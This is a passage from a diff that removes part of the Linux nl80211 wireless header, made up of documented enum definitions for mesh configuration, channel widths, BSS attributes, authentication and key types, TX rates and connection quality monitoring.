- *	has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a
- *	supported feature.
- * @NL80211_USER_REG_HINT_INDOOR: a user sent an hint indicating that the
- *	platform is operating in an indoor environment.
- */
-enum nl80211_user_reg_hint_type {
-  NL80211_USER_REG_HINT_USER = 0,
-  NL80211_USER_REG_HINT_CELL_BASE = 1,
-  NL80211_USER_REG_HINT_INDOOR = 2,
-};
-
-/**
- * enum nl80211_survey_info - survey information
- *
- * These attribute types are used with %NL80211_ATTR_SURVEY_INFO
- * when getting information about a survey.
- *
- * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved
- * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel
- * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm)
- * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used
- * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio
- *	spent on this channel
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary
- *	channel was sensed busy (either due to activity or energy detect)
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension
- *	channel was sensed busy
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent
- *	receiving data
- * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent
- *	transmitting data
- * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number
- *	currently defined
- * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use
- */
-enum nl80211_survey_info {
-  __NL80211_SURVEY_INFO_INVALID,
-  NL80211_SURVEY_INFO_FREQUENCY,
-  NL80211_SURVEY_INFO_NOISE,
-  NL80211_SURVEY_INFO_IN_USE,
-  NL80211_SURVEY_INFO_CHANNEL_TIME,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_RX,
-  NL80211_SURVEY_INFO_CHANNEL_TIME_TX,
-
-  /* keep last */
-  __NL80211_SURVEY_INFO_AFTER_LAST,
-  NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mntr_flags - monitor configuration flags
- *
- * Monitor configuration flags.
- *
- * @__NL80211_MNTR_FLAG_INVALID: reserved
- *
- * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS
- * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP
- * @NL80211_MNTR_FLAG_CONTROL: pass control frames
- * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering
- * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing.
- *	overrides all other flags.
- * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address
- *	and ACK incoming unicast packets.
- *
- * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use
- * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag
- */
-enum nl80211_mntr_flags {
-  __NL80211_MNTR_FLAG_INVALID,
-  NL80211_MNTR_FLAG_FCSFAIL,
-  NL80211_MNTR_FLAG_PLCPFAIL,
-  NL80211_MNTR_FLAG_CONTROL,
-  NL80211_MNTR_FLAG_OTHER_BSS,
-  NL80211_MNTR_FLAG_COOK_FRAMES,
-  NL80211_MNTR_FLAG_ACTIVE,
-
-  /* keep last */
-  __NL80211_MNTR_FLAG_AFTER_LAST,
-  NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mesh_power_mode - mesh power save modes
- *
- * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is
- *	not known or has not been set yet.
- * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is
- *	in Awake state all the time.
- * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will
- *	alternate between Active and Doze states, but will wake up for
- *	neighbor's beacons.
- * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will
- *	alternate between Active and Doze states, but may not wake up
- *	for neighbor's beacons.
- *
- * @__NL80211_MESH_POWER_AFTER_LAST - internal use
- * @NL80211_MESH_POWER_MAX - highest possible power save level
- */
-
-enum nl80211_mesh_power_mode {
-  NL80211_MESH_POWER_UNKNOWN,
-  NL80211_MESH_POWER_ACTIVE,
-  NL80211_MESH_POWER_LIGHT_SLEEP,
-  NL80211_MESH_POWER_DEEP_SLEEP,
-
-  __NL80211_MESH_POWER_AFTER_LAST,
-  NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_meshconf_params - mesh configuration parameters
- *
- * Mesh configuration parameters. These can be changed while the mesh is
- * active.
- *
- * @__NL80211_MESHCONF_INVALID: internal use
- *
- * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in
- *	millisecond units, used by the Peer Link Open message
- *
- * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in
- *	millisecond units, used by the peer link management to close a peer link
- *
- * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in
- *	millisecond units
- *
- * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed
- *	on this mesh interface
- *
- * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link
- *	open retries that can be sent to establish a new peer link instance in a
- *	mesh
- *
- * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh
- *	point.
- *
- * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open
- *	peer links when we detect compatible mesh peers. Disabled if
- *	@NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE
- *are set.
- *
- * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames
- *	containing a PREQ that an MP can send to a particular destination (path
- *	target)
- *
- * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths
- *	(in milliseconds)
- *
- * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait
- *	until giving up on a path discovery (in milliseconds)
- *
- * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh
- *	points receiving a PREQ shall consider the forwarding information from
- *	the root to be valid. (TU = time unit)
- *
- * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in
- *	TUs) during which an MP can send only one action frame containing a PREQ
- *	reference element
- *
- * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs)
- *	that it takes for an HWMP information element to propagate across the
- *	mesh
- *
- * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not
- *
- * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a
- *	source mesh point for path selection elements.
- *
- * @NL80211_MESHCONF_HWMP_RANN_INTERVAL:  The interval of time (in TUs) between
- *	root announcements are transmitted.
- *
- * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has
- *	access to a broader network beyond the MBSS.  This is done via Root
- *	Announcement frames.
- *
- * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in
- *	TUs) during which a mesh STA can send only one Action frame containing a
- *	PERR element.
- *
- * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding
- *	or forwarding entity (default is TRUE - forwarding entity)
- *
- * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the
- *	threshold for average signal strength of candidate station to establish
- *	a peer link.
- *
- * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors
- *	to synchronize to for 11s default synchronization method
- *	(see 11C.12.2.2)
- *
- * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode.
- *
- * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute
- *
- * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for
- *	which mesh STAs receiving a proactive PREQ shall consider the forwarding
- *	information to the root mesh STA to be valid.
- *
- * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between
- *	proactive PREQs are transmitted.
- *
- * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time
- *	(in TUs) during which a mesh STA can send only one Action frame
- *	containing a PREQ element for root path confirmation.
- *
- * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links.
- *	type &enum nl80211_mesh_power_mode (u32)
- *
- * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs)
- *
- * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've
- *	established peering with for longer than this time (in seconds), then
- *	remove it from the STA's list of peers.  Default is 30 minutes.
- *
- * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use
- */
-enum nl80211_meshconf_params {
-  __NL80211_MESHCONF_INVALID,
-  NL80211_MESHCONF_RETRY_TIMEOUT,
-  NL80211_MESHCONF_CONFIRM_TIMEOUT,
-  NL80211_MESHCONF_HOLDING_TIMEOUT,
-  NL80211_MESHCONF_MAX_PEER_LINKS,
-  NL80211_MESHCONF_MAX_RETRIES,
-  NL80211_MESHCONF_TTL,
-  NL80211_MESHCONF_AUTO_OPEN_PLINKS,
-  NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES,
-  NL80211_MESHCONF_PATH_REFRESH_TIME,
-  NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT,
-  NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT,
-  NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL,
-  NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME,
-  NL80211_MESHCONF_HWMP_ROOTMODE,
-  NL80211_MESHCONF_ELEMENT_TTL,
-  NL80211_MESHCONF_HWMP_RANN_INTERVAL,
-  NL80211_MESHCONF_GATE_ANNOUNCEMENTS,
-  NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL,
-  NL80211_MESHCONF_FORWARDING,
-  NL80211_MESHCONF_RSSI_THRESHOLD,
-  NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR,
-  NL80211_MESHCONF_HT_OPMODE,
-  NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT,
-  NL80211_MESHCONF_HWMP_ROOT_INTERVAL,
-  NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL,
-  NL80211_MESHCONF_POWER_MODE,
-  NL80211_MESHCONF_AWAKE_WINDOW,
-  NL80211_MESHCONF_PLINK_TIMEOUT,
-
-  /* keep last */
-  __NL80211_MESHCONF_ATTR_AFTER_LAST,
-  NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_mesh_setup_params - mesh setup parameters
- *
- * Mesh setup parameters.  These are used to start/join a mesh and cannot be
- * changed while the mesh is active.
- *
- * @__NL80211_MESH_SETUP_INVALID: Internal use
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a
- *	vendor specific path selection algorithm or disable it to use the
- *	default HWMP.
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a
- *	vendor specific path metric or disable it to use the default Airtime
- *	metric.
- *
- * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a
- *	robust security network ie, or a vendor specific information element
- *	that vendors will use to identify the path selection methods and
- *	metrics in use.
- *
- * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication
- *	daemon will be authenticating mesh candidates.
- *
- * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication
- *	daemon will be securing peer link frames.  AMPE is a secured version of
- *	Mesh Peering Management (MPM) and is implemented with the assistance of
- *	a userspace daemon.  When this flag is set, the kernel will send peer
- *	management frames to a userspace daemon that will implement AMPE
- *	functionality (security capabilities selection, key confirmation, and
- *	key management).  When the flag is unset (default), the kernel can
- *	autonomously complete (unsecured) mesh peering without the need of a
- *	userspace daemon.
- *
- * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a
- *	vendor specific synchronization method or disable it to use the default
- *	neighbor offset synchronization
- *
- * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will
- *	implement an MPM which handles peer allocation and state.
- *
- * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication
- *	method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE).
- *	Default is no authentication method required.
- *
- * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number
- *
- * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use
- */
-enum nl80211_mesh_setup_params {
-  __NL80211_MESH_SETUP_INVALID,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC,
-  NL80211_MESH_SETUP_IE,
-  NL80211_MESH_SETUP_USERSPACE_AUTH,
-  NL80211_MESH_SETUP_USERSPACE_AMPE,
-  NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC,
-  NL80211_MESH_SETUP_USERSPACE_MPM,
-  NL80211_MESH_SETUP_AUTH_PROTOCOL,
-
-  /* keep last */
-  __NL80211_MESH_SETUP_ATTR_AFTER_LAST,
-  NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_txq_attr - TX queue parameter attributes
- * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved
- * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*)
- * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning
- *	disabled
- * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form
- *	2^n-1 in the range 1..32767]
- * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form
- *	2^n-1 in the range 1..32767]
- * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255]
- * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal
- * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number
- */
-enum nl80211_txq_attr {
-  __NL80211_TXQ_ATTR_INVALID,
-  NL80211_TXQ_ATTR_AC,
-  NL80211_TXQ_ATTR_TXOP,
-  NL80211_TXQ_ATTR_CWMIN,
-  NL80211_TXQ_ATTR_CWMAX,
-  NL80211_TXQ_ATTR_AIFS,
-
-  /* keep last */
-  __NL80211_TXQ_ATTR_AFTER_LAST,
-  NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1
-};
-
-enum nl80211_ac {
-  NL80211_AC_VO,
-  NL80211_AC_VI,
-  NL80211_AC_BE,
-  NL80211_AC_BK,
-  NL80211_NUM_ACS
-};
-
-/* backward compat */
-#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC
-#define NL80211_TXQ_Q_VO NL80211_AC_VO
-#define NL80211_TXQ_Q_VI NL80211_AC_VI
-#define NL80211_TXQ_Q_BE NL80211_AC_BE
-#define NL80211_TXQ_Q_BK NL80211_AC_BK
-
-/**
- * enum nl80211_channel_type - channel type
- * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel
- * @NL80211_CHAN_HT20: 20 MHz HT channel
- * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel
- *	below the control channel
- * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel
- *	above the control channel
- */
-enum nl80211_channel_type {
-  NL80211_CHAN_NO_HT,
-  NL80211_CHAN_HT20,
-  NL80211_CHAN_HT40MINUS,
-  NL80211_CHAN_HT40PLUS
-};
-
-/**
- * enum nl80211_chan_width - channel width definitions
- *
- * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH
- * attribute.
- *
- * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel
- * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel
- * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well
- * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
- *	attribute must be provided as well
- * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel
- * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel
- */
-enum nl80211_chan_width {
-  NL80211_CHAN_WIDTH_20_NOHT,
-  NL80211_CHAN_WIDTH_20,
-  NL80211_CHAN_WIDTH_40,
-  NL80211_CHAN_WIDTH_80,
-  NL80211_CHAN_WIDTH_80P80,
-  NL80211_CHAN_WIDTH_160,
-  NL80211_CHAN_WIDTH_5,
-  NL80211_CHAN_WIDTH_10,
-};
-
-/**
- * enum nl80211_bss_scan_width - control channel width for a BSS
- *
- * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute.
- *
- * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible
- * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide
- * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide
- */
-enum nl80211_bss_scan_width {
-  NL80211_BSS_CHAN_WIDTH_20,
-  NL80211_BSS_CHAN_WIDTH_10,
-  NL80211_BSS_CHAN_WIDTH_5,
-};
-
-/**
- * enum nl80211_bss - netlink attributes for a BSS
- *
- * @__NL80211_BSS_INVALID: invalid
- * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets)
- * @NL80211_BSS_FREQUENCY: frequency in MHz (u32)
- * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64)
- *	(if @NL80211_BSS_PRESP_DATA is present then this is known to be
- *	from a probe response, otherwise it may be from the same beacon
- *	that the NL80211_BSS_BEACON_TSF will be from)
- * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16)
- * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16)
- * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the
- *	raw information elements from the probe response/beacon (bin);
- *	if the %NL80211_BSS_BEACON_IES attribute is present and the data is
- *	different then the IEs here are from a Probe Response frame; otherwise
- *	they are from a Beacon frame.
- *	However, if the driver does not indicate the source of the IEs, these
- *	IEs may be from either frame subtype.
- *	If present, the @NL80211_BSS_PRESP_DATA attribute indicates that the
- *	data here is known to be from a probe response, without any heuristics.
- * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon
- *	in mBm (100 * dBm) (s32)
- * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon
- *	in unspecified units, scaled to 0..100 (u8)
- * @NL80211_BSS_STATUS: status, if this BSS is "used"
- * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms
- * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information
- *	elements from a Beacon frame (bin); not present if no Beacon frame has
- *	yet been received
- * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel
- *	(u32, enum nl80211_bss_scan_width)
- * @NL80211_BSS_BEACON_TSF: TSF of the last received beacon (u64)
- *	(not present if no beacon frame has been received yet)
- * @NL80211_BSS_PRESP_DATA: the data in @NL80211_BSS_INFORMATION_ELEMENTS and
- *	@NL80211_BSS_TSF is known to be from a probe response (flag attribute)
- * @__NL80211_BSS_AFTER_LAST: internal
- * @NL80211_BSS_MAX: highest BSS attribute
- */
-enum nl80211_bss {
-  __NL80211_BSS_INVALID,
-  NL80211_BSS_BSSID,
-  NL80211_BSS_FREQUENCY,
-  NL80211_BSS_TSF,
-  NL80211_BSS_BEACON_INTERVAL,
-  NL80211_BSS_CAPABILITY,
-  NL80211_BSS_INFORMATION_ELEMENTS,
-  NL80211_BSS_SIGNAL_MBM,
-  NL80211_BSS_SIGNAL_UNSPEC,
-  NL80211_BSS_STATUS,
-  NL80211_BSS_SEEN_MS_AGO,
-  NL80211_BSS_BEACON_IES,
-  NL80211_BSS_CHAN_WIDTH,
-  NL80211_BSS_BEACON_TSF,
-  NL80211_BSS_PRESP_DATA,
-
-  /* keep last */
-  __NL80211_BSS_AFTER_LAST,
-  NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_bss_status - BSS "status"
- * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS.
- * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS.
- * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS.
- *
- * The BSS status is a BSS attribute in scan dumps, which
- * indicates the status the interface has wrt. this BSS.
- */
-enum nl80211_bss_status {
-  NL80211_BSS_STATUS_AUTHENTICATED,
-  NL80211_BSS_STATUS_ASSOCIATED,
-  NL80211_BSS_STATUS_IBSS_JOINED,
-};
-
-/**
- * enum nl80211_auth_type - AuthenticationType
- *
- * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication
- * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only)
- * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r)
- * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP)
- * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals
- * @__NL80211_AUTHTYPE_NUM: internal
- * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm
- * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by
- *	trying multiple times); this is invalid in netlink -- leave out
- *	the attribute for this on CONNECT commands.
- */
-enum nl80211_auth_type {
-  NL80211_AUTHTYPE_OPEN_SYSTEM,
-  NL80211_AUTHTYPE_SHARED_KEY,
-  NL80211_AUTHTYPE_FT,
-  NL80211_AUTHTYPE_NETWORK_EAP,
-  NL80211_AUTHTYPE_SAE,
-
-  /* keep last */
-  __NL80211_AUTHTYPE_NUM,
-  NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1,
-  NL80211_AUTHTYPE_AUTOMATIC
-};
-
-/**
- * enum nl80211_key_type - Key Type
- * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key
- * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key
- * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS)
- * @NUM_NL80211_KEYTYPES: number of defined key types
- */
-enum nl80211_key_type {
-  NL80211_KEYTYPE_GROUP,
-  NL80211_KEYTYPE_PAIRWISE,
-  NL80211_KEYTYPE_PEERKEY,
-
-  NUM_NL80211_KEYTYPES
-};
-
-/**
- * enum nl80211_mfp - Management frame protection state
- * @NL80211_MFP_NO: Management frame protection not used
- * @NL80211_MFP_REQUIRED: Management frame protection required
- */
-enum nl80211_mfp {
-  NL80211_MFP_NO,
-  NL80211_MFP_REQUIRED,
-};
-
-enum nl80211_wpa_versions {
-  NL80211_WPA_VERSION_1 = 1 << 0,
-  NL80211_WPA_VERSION_2 = 1 << 1,
-};
-
-/**
- * enum nl80211_key_default_types - key default types
- * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid
- * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default
- *	unicast key
- * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default
- *	multicast key
- * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types
- */
-enum nl80211_key_default_types {
-  __NL80211_KEY_DEFAULT_TYPE_INVALID,
-  NL80211_KEY_DEFAULT_TYPE_UNICAST,
-  NL80211_KEY_DEFAULT_TYPE_MULTICAST,
-
-  NUM_NL80211_KEY_DEFAULT_TYPES
-};
-
-/**
- * enum nl80211_key_attributes - key attributes
- * @__NL80211_KEY_INVALID: invalid
- * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of
- *	16 bytes encryption key followed by 8 bytes each for TX and RX MIC
- *	keys
- * @NL80211_KEY_IDX: key ID (u8, 0-3)
- * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
- *	section 7.3.2.25.1, e.g. 0x000FAC04)
- * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
- *	CCMP keys, each six bytes in little endian
- * @NL80211_KEY_DEFAULT: flag indicating default key
- * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key
- * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not
- *	specified the default depends on whether a MAC address was
- *	given with the command using the key or not (u32)
- * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags
- *	attributes, specifying what a key should be set as default as.
- *	See &enum nl80211_key_default_types.
- * @__NL80211_KEY_AFTER_LAST: internal
- * @NL80211_KEY_MAX: highest key attribute
- */
-enum nl80211_key_attributes {
-  __NL80211_KEY_INVALID,
-  NL80211_KEY_DATA,
-  NL80211_KEY_IDX,
-  NL80211_KEY_CIPHER,
-  NL80211_KEY_SEQ,
-  NL80211_KEY_DEFAULT,
-  NL80211_KEY_DEFAULT_MGMT,
-  NL80211_KEY_TYPE,
-  NL80211_KEY_DEFAULT_TYPES,
-
-  /* keep last */
-  __NL80211_KEY_AFTER_LAST,
-  NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_tx_rate_attributes - TX rate set attributes
- * @__NL80211_TXRATE_INVALID: invalid
- * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection
- *	in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with
- *	1 = 500 kbps) but without the IE length restriction (at most
- *	%NL80211_MAX_SUPP_RATES in a single array).
- * @NL80211_TXRATE_HT: HT (MCS) rates allowed for TX rate selection
- *	in an array of MCS numbers.
- * @NL80211_TXRATE_VHT: VHT rates allowed for TX rate selection,
- *	see &struct nl80211_txrate_vht
- * @NL80211_TXRATE_GI: configure GI, see &enum nl80211_txrate_gi
- * @__NL80211_TXRATE_AFTER_LAST: internal
- * @NL80211_TXRATE_MAX: highest TX rate attribute
- */
-enum nl80211_tx_rate_attributes {
-  __NL80211_TXRATE_INVALID,
-  NL80211_TXRATE_LEGACY,
-  NL80211_TXRATE_HT,
-  NL80211_TXRATE_VHT,
-  NL80211_TXRATE_GI,
-
-  /* keep last */
-  __NL80211_TXRATE_AFTER_LAST,
-  NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1
-};
-
-#define NL80211_TXRATE_MCS NL80211_TXRATE_HT
-#define NL80211_VHT_NSS_MAX 8
-
-/**
- * struct nl80211_txrate_vht - VHT MCS/NSS txrate bitmap
- * @mcs: MCS bitmap table for each NSS (array index 0 for 1 stream, etc.)
- */
-struct nl80211_txrate_vht {
-  __u16 mcs[NL80211_VHT_NSS_MAX];
-};
-
-enum nl80211_txrate_gi {
-  NL80211_TXRATE_DEFAULT_GI,
-  NL80211_TXRATE_FORCE_SGI,
-  NL80211_TXRATE_FORCE_LGI,
-};
-
-/**
- * enum nl80211_band - Frequency band
- * @NL80211_BAND_2GHZ: 2.4 GHz ISM band
- * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz)
- * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz)
- */
-enum nl80211_band {
-  NL80211_BAND_2GHZ,
-  NL80211_BAND_5GHZ,
-  NL80211_BAND_60GHZ,
-};
-
-/**
- * enum nl80211_ps_state - powersave state
- * @NL80211_PS_DISABLED: powersave is disabled
- * @NL80211_PS_ENABLED: powersave is enabled
- */
-enum nl80211_ps_state {
-  NL80211_PS_DISABLED,
-  NL80211_PS_ENABLED,
-};
-
-/**
- * enum nl80211_attr_cqm - connection quality monitor attributes
- * @__NL80211_ATTR_CQM_INVALID: invalid
- * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies
- *	the threshold for the RSSI level at which an event will be sent. Zero
- *	to disable.
- * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies
- *	the minimum amount the RSSI level must change after an event before a
- *	new event may be issued (to reduce effects of RSSI oscillation).
- * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event
- * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many
- *	consecutive packets were not acknowledged by the peer
- * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures
- *	during the given %NL80211_ATTR_CQM_TXE_INTVL before an
- *	%NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and
- *	%NL80211_ATTR_CQM_TXE_PKTS is generated.
- * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given
- *	%NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is
- *	checked.
- * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic
- *	interval in which %NL80211_ATTR_CQM_TXE_PKTS and
- *	%NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an
- *	%NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting.
- * @__NL80211_ATTR_CQM_AFTER_LAST: internal
